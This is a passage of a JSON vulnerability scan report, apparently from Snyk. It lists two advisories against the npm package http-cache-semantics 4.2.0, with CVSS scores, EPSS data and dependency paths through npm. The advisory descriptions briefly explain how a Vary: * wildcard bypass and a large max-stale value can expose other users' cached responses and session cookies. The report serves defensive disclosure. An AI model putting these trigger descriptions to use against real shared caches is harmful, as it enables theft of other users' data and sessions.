"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
